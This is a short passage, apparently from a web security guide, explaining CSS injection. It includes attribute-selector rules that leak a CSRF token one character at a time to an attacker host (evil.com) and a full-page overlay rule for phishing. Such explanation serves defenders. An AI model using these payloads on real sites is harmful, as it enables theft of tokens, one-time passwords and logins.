1 CSS Injection Attacks
CSS injection occurs when an attacker can inject arbitrary CSS into a page. Even without JavaScript, injected CSS enables powerful attacks:
Data exfiltration via attribute selectors:
/* If CSRF token is in a hidden input */
input[value^="a"] { background: url(https://evil.com/steal?c=a); }
input[value^="ab"] { background: url(https://evil.com/steal?c=ab); }
/* Attacker iterates all prefixes to reconstruct the token */This technique sends one character at a time to the attacker by loading a URL when the attribute selector matches. It can reconstruct CSRF tokens, one-time passwords, or any attribute value present in the HTML.
Phishing overlay:
body::after {
content: "";
position: fixed;
top: 0; left: 0; right: 0; bottom: 0;
background: white;
z-index: 9999;
/* Could contain a fake login form image */
}